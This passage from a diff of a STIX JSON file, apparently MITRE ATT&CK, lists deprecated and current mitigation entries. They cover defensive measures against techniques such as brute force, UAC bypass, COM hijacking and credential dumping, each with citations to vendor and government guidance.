"http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf" + }, + { + "source_name": "TechNet Secure Boot Process", + "description": "Microsoft. (n.d.). Secure the Windows 10 boot process. Retrieved April 23, 2020.", + "url": "https://docs.microsoft.com/en-us/windows/security/information-protection/secure-the-windows-10-boot-process" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--96150c35-466f-4f0a-97a9-ae87ee27f751", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Browser Bookmark Discovery Mitigation", + "description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. For example, mitigating accesses to browser bookmark files will likely have unintended side effects such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:23.672Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1217", + "url": "https://attack.mitre.org/mitigations/T1217" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--1c0b39f9-a0c5-42b2-abd8-dc8f1eb74e67", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Browser Extensions Mitigation", + "description": "Only install browser extensions from trusted sources that can be verified. Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.\n\nBrowser extensions for some browsers can be controlled through Group Policy. Set a browser extension white or black list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)\n\nChange settings to prevent the browser from installing extensions without sufficient permissions.\n\nClose out all browser sessions when finished using them.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T14:41:17.903Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1176", + "external_id": "T1176", + "source_name": "mitre-attack" + }, + { + "url": "http://www.technospot.net/blogs/block-chrome-extensions-using-google-chrome-group-policy-settings/", + "description": "Mohta, A. (n.d.). Block Chrome Extensions using Google Chrome Group Policy Settings. Retrieved January 10, 2018.", + "source_name": "Technospot Chrome Extensions GP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--b52f41b9-ccf6-4da7-a6c0-167eeb71fbd8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Brute Force Mitigation", + "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. \nToo strict a policy can create a denial of service condition and render environments un-usable, with all accounts being locked-out permanently. Use multifactor authentication. Follow best practices for mitigating access to [Valid Accounts](https://attack.mitre.org/techniques/T1078)\n\nRefer to NIST guidelines when creating passwords.(Citation: NIST 800-63-3)\n\nWhere possible, also enable multi factor authentication on external facing services.", + "x_mitre_version": "1.1", + "modified": "2019-07-24T18:03:10.785Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1110", + "external_id": "T1110", + "source_name": "mitre-attack" + }, + { + "url": "https://pages.nist.gov/800-63-3/sp800-63b.html", + "description": "Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019.", + "source_name": "NIST 800-63-3" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--4a99fecc-680b-448e-8fe7-8144c60d272c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Bypass User Account Control Mitigation", + "description": "Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). \n\nCheck for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate. (Citation: Github UACMe)", + "x_mitre_version": "1.0", + "modified": "2019-07-24T14:13:23.637Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1088", + "external_id": "T1088", + "source_name": "mitre-attack" + }, + { + "url": "https://github.com/hfiref0x/UACME", + "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.", + "source_name": "Github UACMe" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--beb45abb-11e8-4aef-9778-1f9ac249784f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "CMSTP Mitigation", + "description": "CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation). Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 2017)", + "x_mitre_version": "1.0", + "modified": "2019-07-24T18:04:13.126Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1191", + "external_id": "T1191", + "source_name": "mitre-attack" + }, + { + "url": "https://msitpros.com/?p=3960", + "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.", + "source_name": "MSitPros CMSTP Aug 2017" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--91816292-3686-4a6e-83c4-4c08513b9b57", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Change Default File Association Mitigation", + "description": "Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft's best practices for file associations. (Citation: MSDN File Associations)\n\nIdentify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:23.675Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1042", + "url": "https://attack.mitre.org/mitigations/T1042" + }, + { + "url": "https://msdn.microsoft.com/en-us/library/cc144156.aspx", + "description": "Microsoft. (n.d.). Retrieved July 26, 2016.", + "source_name": "MSDN File Associations" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--d7c49196-b40e-42bc-8eed-b803113692ed", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Clear Command History Mitigation", + "description": "Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their ~/.bash_history files. Additionally, making these environment variables readonly can make sure that the history is preserved (Citation: Securing bash history).", + "x_mitre_version": "1.0", + "modified": "2019-07-24T18:05:00.492Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1146", + "external_id": "T1146", + "source_name": "mitre-attack" + }, + { + "source_name": "Securing bash history", + "description": "Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017.", + "url": "http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--3e7018e9-7389-48e7-9208-0bdbcbba9483", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Clipboard Data Mitigation", + "description": "Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2021-08-23T20:25:19.205Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1115", + "url": "https://attack.mitre.org/mitigations/T1115" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--19edfa02-1a5f-47e4-ad82-3288f57f64cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "course-of-action", + "modified": "2020-05-20T13:12:02.881Z", + "name": "Code Signing", + "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "created": "2019-06-11T17:01:25.405Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1045", + "external_id": "M1045", + "source_name": "mitre-attack" + } + ], + "id": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "course-of-action", + "modified": "2020-01-17T16:45:23.319Z", + "name": "Code Signing Mitigation", + "description": "Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1116", + "url": "https://attack.mitre.org/mitigations/T1116" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "https://technet.microsoft.com/en-us/library/cc733026.aspx", + "description": "Microsoft. (n.d.). Manage Trusted Publishers. Retrieved March 31, 2016.", + "source_name": "TechNet Trusted Publishers" + }, + { + "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/", + "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.", + "source_name": "Securelist Digital Certificates" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--82fbc58b-171d-4a2d-9a20-c6b2a716bd08", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Commonly Used Port Mitigation", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "x_mitre_version": "1.0", + "modified": "2019-07-24T14:17:58.966Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1043", + "external_id": "T1043", + "source_name": "mitre-attack" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--7c1796c7-9fc3-4c3e-9416-527295bf5d95", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Communication Through Removable Media Mitigation", + "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)", + "x_mitre_version": "1.0", + "modified": "2019-07-24T18:09:33.072Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1092", + "external_id": "T1092", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft Disable Autorun", + "description": "Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.", + "url": "https://support.microsoft.com/en-us/kb/967715" + }, + { + "source_name": "TechNet Removable Media Control", + "description": "Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--b8d57b16-d8e2-428c-a645-1083795b3445", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Compile After Delivery Mitigation", + "description": "This type of technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, blocking all file compilation may have unintended side effects, such as preventing legitimate OS frameworks and code development mechanisms from operating properly. Consider removing compilers if not needed, otherwise efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to decrypt, deobfuscate, decode, and compile files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2021-08-23T20:25:22.015Z", + "created": "2019-04-25T20:53:07.814Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1500", + "url": "https://attack.mitre.org/mitigations/T1500" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--ae56a49d-5281-45c5-ab95-70a1439c338e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Compiled HTML File Mitigation", + "description": "Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files. (Citation: PaloAlto Preventing Opportunistic Attacks Apr 2016) Also consider using application whitelisting to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T14:19:23.148Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1223", + "external_id": "T1223", + "source_name": "mitre-attack" + }, + { + "source_name": "PaloAlto Preventing Opportunistic Attacks Apr 2016", + "description": "Kiwi. (2016, April 6). Breakout Recap: Cybersecurity Best Practices Part 1 - Preventing Opportunistic Attacks. Retrieved October 3, 2018.", + "url": "https://live.paloaltonetworks.com/t5/Ignite-2016-Blog/Breakout-Recap-Cybersecurity-Best-Practices-Part-1-Preventing/ba-p/75913" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--08e02f67-ea09-4f77-a70b-414963c29fc2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Component Firmware Mitigation", + "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique.\n\nConsider removing and replacing system components suspected of being compromised.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T18:10:06.475Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1109", + "external_id": "T1109", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--676975b9-7e8e-463d-a31e-4ed2ecbfed81", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Component Object Model Hijacking Mitigation", + "description": "Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.\n\nInstead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:23.056Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1122", + "url": "https://attack.mitre.org/mitigations/T1122" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--ff5d862a-ae6b-4833-8c15-e235d654d28e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Control Panel Items Mitigation", + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls and/or execution of particular file extensions will likely have unintended side effects, such as preventing legitimate software (i.e., drivers and configuration tools) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.\n\nRestrict storage and execution of Control Panel items to protected directories, such as C:\\Windows, rather than user directories.\n\nIndex known safe Control Panel items and block potentially malicious software using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executable files.\n\nConsider fully enabling User Account Control (UAC) to impede system-wide changes from illegitimate administrators. (Citation: Microsoft UAC)", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:23.678Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1196", + "url": "https://attack.mitre.org/mitigations/T1196" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/dn742497.aspx", + "description": "Microsoft. (n.d.). User Account Control. Retrieved January 18, 2018.", + "source_name": "Microsoft UAC" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--3a41b366-cfd6-4af2-a6e7-3c6e3c4ebcef", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Create Account Mitigation", + "description": "Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to create privileged accounts within an environment.\n\nAdversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T18:11:24.572Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1136", + "external_id": "T1136", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--9a5b7194-88e0-4579-b82f-e3c27b8cca80", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "course-of-action", + "modified": "2020-03-31T13:09:22.442Z", + "id": "course-of-action--49c06d54-9002-491d-9147-8efb537fbd26", + "description": "Use capabilities to prevent successful credential access by adversaries; including blocking forms of credential dumping.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Credential Access Protection", + "created": "2019-06-11T16:47:12.859Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1043", + "external_id": "M1043", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Credential Dumping Mitigation", + "description": "### Windows\nMonitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [Valid Accounts](https://attack.mitre.org/techniques/T1078) if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)\n\nOn Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)\n\nIdentify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nWith Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)\n\nManage the access control list for \u201cReplicating Directory Changes\u201d and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 